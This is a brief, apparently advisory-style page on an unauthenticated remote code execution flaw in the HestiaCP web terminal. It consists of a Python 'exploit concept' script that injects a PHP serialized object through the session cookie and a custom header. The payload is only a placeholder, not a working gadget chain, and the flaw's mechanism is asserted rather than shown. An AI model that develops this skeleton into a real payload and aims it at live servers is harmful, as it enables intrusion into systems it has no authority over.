CVE-2026-43633 HestiaCP Web终端未认证RCE漏洞

import requests # Exploit Concept for CVE-2026-43633 # Attacker sends a crafted HTTP header containing a malicious serialized object. target_url = "http://target-host:8083" # Malicious payload designed to abuse the session format mismatch # This would typically be a PHP serialized object triggering a gadget chain malicious_payload = "O:8:stdClass:0:{}" headers = { "User-Agent": "Mozilla/5.0", "Cookie": f"PHPSESSID={malicious_payload}", # Example injection point "X-Custom-Header": malicious_payload } try: response = requests.get(target_url, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Response body:") print(response.text) except Exception as e: print(f"Error: {e}")